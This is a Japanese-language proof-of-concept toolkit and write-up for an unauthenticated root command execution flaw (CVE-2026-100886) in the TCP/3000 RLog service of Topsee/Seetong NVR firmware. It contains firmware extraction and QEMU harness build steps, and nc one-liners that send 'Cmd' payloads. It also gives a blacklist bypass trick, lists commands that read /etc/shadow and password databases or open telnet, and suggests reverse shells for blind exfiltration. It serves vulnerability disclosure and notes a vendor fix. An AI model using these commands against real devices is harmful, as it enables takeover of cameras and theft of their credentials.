
CVE-2026-100886 | 認証不要のリモートコード実行ツールキット。
このハーネスは、ファームウェアの libLOG.so が TCP/3000 上で RLog サーバーを起動することを実証する。コマンドディスパッチャの分析と動的テストにより、 そのサーバーを介した認証不要の OS コマンド実行が実証される。
これは qemu-arm 上でファームウェア自身の libLOG.so をロードし、TLog_Init() を呼び出す。
そして実際のサーバーが 0.0.0.0:3000 にバインドし、どこからでも認証なしで
インバウンド接続を受け付ける。
ファームウェアは TCP/3000 上で認証不要の RLog コマンドサーバーを公開している。
コマンドディスパッチャは Cmd を登録し、これが攻撃者制御の
入力を TLog_CMD に渡す。TLog_CMD は最終的にファームウェアのコマンド
実行バックエンドを呼び出す。
したがって:
Unauthenticated TCP connection
↓
RLog command dispatcher
↓
Cmd <attacker-controlled command>
↓
TLog_CMD
↓
mysystem()
↓
/bin/sh
↓
command execution
harness.c: 常駐版: サーバーを起動してスリープします(実際の使用にはこちらを使用してください)probe_harness.c: プローブ版: エミュレータ内部からコマンドプローブも試行します(type-byteフレーミング要件を示します)以下のスクリプトがsysrootの作成に使用するファームウェアが、もうダウンロードできない場合。次のいずれかから入手できます(NVRを画像検索するだけで、ファームウェアは広く配布されています):
これにはファームウェア v4.6.1.4-build202604241011 を使用しました。他のファームウェアバージョンはまだテストされていませんが、fullwardのような下流のドロップシッパーも同様に保有しています。
ハーネスと同じディレクトリでこれを実行してください
# Download and extract toolchain
wget https://gitlab.arm.com/api/v4/projects/tooling%2Fgnu-toolchains-for-arm/packages/generic/gnu-toolchain/15.3.rel1/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
tar -xvf arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf.tar.xz
TC=$(pwd)/arm-gnu-toolchain-15.3.rel1-x86_64-arm-none-linux-gnueabihf
# Creating the sysroot
wget http://www.tpsee.com/upload/firmware/update-ts81xxd3x-v4.6.1.4-build202604241011.bin
binwalk -Me update-ts81xxd3x-v4.6.1.4-build202604241011.bin
mkdir -p sysroot
cp -a "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_rootfs.ts81xxd3x.extracted/squashfs-root/lib" sysroot/
cp "_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libLOG.so" \
"_update-ts81xxd3x-v4.6.1.4-build202604241011.bin.extracted/_0.extracted/tmp/_app.ts81xxd3x.extracted/squashfs-root/lib/libmysystem.so" sysroot/lib/
$TC -march=armv7-a -mthumb -mfloat-abi=soft -nostdlib -ffreestanding -fno-builtin \
-Wl,--dynamic-linker,/lib/ld-uClibc.so.0 -Wl,-rpath,/lib -Wl,-e,_start -Wl,--export-dynamic \
harness.c -o harness -L sysroot/lib -lc
このハーネスは、libLOG.so が edvr からインポートするシンボルのスタブ実装を提供します。
qemu-arm -L sysroot ./harness &
sleep 2
ss -tln | grep 3000
# -> LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* (qemu user-mode forwards the emulated socket to the host)
probe_harness.c から観測された出力(上記のスクリプトで使用されているものではない):
dlopen ok
TLog_Init() -> 0
--- probe port 3000 ---
connect port 3000 OK (x5 meaning every connection accepted)
REPLY: timeout/none (plain-text probes ignored: binary type-byte framing required)
➜ seetong-ts81xxd3x-rce printf 'Cmd cat /etc/os-release > /tmp/rlog_os.txt\r\n' | nc 127.0.0.1 3000
^C%
➜ seetong-ts81xxd3x-rce cat /tmp/rlog_os.txt
NAME="Artix Linux"
PRETTY_NAME="Artix Linux"
ID=artix
BUILD_ID=rolling
ANSI_COLOR="38;2;23;147;209"
HOME_URL="https://artixlinux.org/"
DOCUMENTATION_URL="https://wiki.artixlinux.org/"
SUPPORT_URL="https://forum.artixlinux.org/"
BUG_REPORT_URL="https://bugs.artixlinux.org/"
PRIVACY_POLICY_URL="https://terms.artixlinux.org/docs/privacy-policy/"
LOGO=artixlinux-logo
➜ seetong-ts81xxd3x-rce
Artix Linux が表示されているのは、この PoC が qemu ユーザーモードを適切に分離しておらず、ホストのファイルシステムを共有しているためです。
AI 開示: 以下のテキストは AI によって生成されたものです
LogModuleRegCmd @ 0x8f94)| コマンド | ハンドラ | 効果 |
|---|---|---|
StartDebug、StartLog、SetLogLevel、Help、StartAutoTest | 各種 | ログ/セルフテスト制御 |
GetSystemStatus、GetSystemInfo、GetSystemLog、GetSystemCfg | TLog_Get* | 情報/設定/ログの開示 |
GetSystemFile [abs names] | TLog_GetSystemFile (0x7a94) + TLog_SendFile (0x48f0) | 任意のファイル読み取り(/etc/shadow、/usr/local/etc/user.db、...) |
GetPrintfFile | TLog_GetPrintfFile | ファイル読み取り |
Cmd [System commands] | TLog_CMD (0x3680) | root としてのシェルコマンド実行 |
PortMap on <ip> <port> / PortMap off | fcn.00008b76 | リバース TUN トンネル + ポート 23 での telnetd |
; \r \n で停止)。vi、cd、top、if、killcmd}(strcmp)— 簡単にバイパス可能(cat、sh、クォート)。"%s -b" → sh -c 経由で実行。ps -ef | grep "sh -c %s" |grep -v grep、'{print $1}' | xargs kill -9。mysystem()(libmysystem.so)→ /usr/sbin/systemd への IPC(偽の systemd、root として /bin/sh 経由で実行。文字列 "[systemd cmd:]%s"、"[systemd ret:]%d")。ブラックリストのデモ(2026-08-04、エミュレートされたサーバー):
Cmd vi > /tmp/bl_vi → dropped (no file created)
Cmd cat /etc/hostname > /tmp/bl_cat → executed (file contains hostname)
Cmd v''i > /tmp/bl_bypass → BLACKLIST BYPASSED (shell sees `vi`, strcmp sees `v''i`)
PortMap on <ip> <port> を解析します(3 つのフィールドを想定)。portmap_client_start(ip, port) (0x88b0):
system("lsmod | grep -q '^tun\\b' || insmod /config/modules/4.9.84/tun.ko")/dev/net/tun を開き、インターフェース tps0 を作成し、ifconfig tps0 up を実行/mnt/nand/yun_id.txt、/etc/product_type.txt を読み取るsystem("touch /usr/local/etc/normal_telnet") (0x897e→0x8982)system("killall telnetd") (0x8c1e) と system("telnetd -p 23 &") (0x8c32) を実行します。portmap_client_stop (0x8a48) → system("rm -f /usr/local/etc/normal_telnet")、ifconfig tps0 down。portmap_client_get_status、portmap_client_is_running、portmap_client_get_assigned_ip。"usage: PortMap on <ip> <port> | PortMap off\n"、"PortMap on: IP=%s, Port=%d\n"、"PortMap start success! ret:%d"、"PortMap stop success!"。"rm %s/* -rf" (0xad10) — ログディレクトリのクリーンアップ (TLog_DeleteLogFile) で使用されます。ハーネス (harness.c) は libLOG.so を dlopen し、その edvr インポートをスタブ化し、TLog_Init() を呼び出します:
dlopen ok
TLog_Init() -> 0
ホスト側(qemu ユーザーモードソケットパススルー):
LISTEN 0 5 0.0.0.0:3000 0.0.0.0:* users:(("qemu-arm",pid=...,fd=0))
コマンド実行の証明(プレーンテキスト、認証なし):
$ printf 'Cmd touch /tmp/rlog_pwned\r\n' | nc <target> 3000 # file created
$ printf 'Cmd id > /tmp/rlog_id.txt\r\n' | nc <target> 3000 # id output captured
エミュレートされたサーバー上で両方とも検証済み。コマンドは mysystem() → /usr/sbin/systemd → /bin/sh(デバイス上では root)を経由して実行される。ソケット上には出力が返されない(ブラインド RCE。帯域外の手法でデータを窃取すること。例: Cmd cat /usr/local/etc/user.db > /mnt/... やリバースシェル)。
影響: 未認証のネットワーク攻撃者が root としてシェルコマンドを実行し、任意のファイル(平文パスワード DB やパスワードが漏洩するログを含む)を読み取り、telnet をポート 23 に切り替えることが可能。LAN 上では致命的であり、インターネットに公開された機器でも同様である。
ベンダー(Shenzhen Topsee Technology Co., Ltd.、「TOPSEE」/「Seetong」)は修正済みファームウェア V4.6.2.0(2026-10-29)をリリースしており、以下から入手可能: http://en.tpsee.com/index.php?md=article&ct=lists&catid=24
これは TS81xxD3x、TS8232C10、TS8xxxG シリーズに適用され、影響を受けるモデル T8108、T8108P、T8116、T8232 に対応する。これらのデバイスのユーザーはアップグレードすべきである。
ベンダーアドバイザリ: http://en.tpsee.com/index.php?md=article&ct=show&catid=58&id=243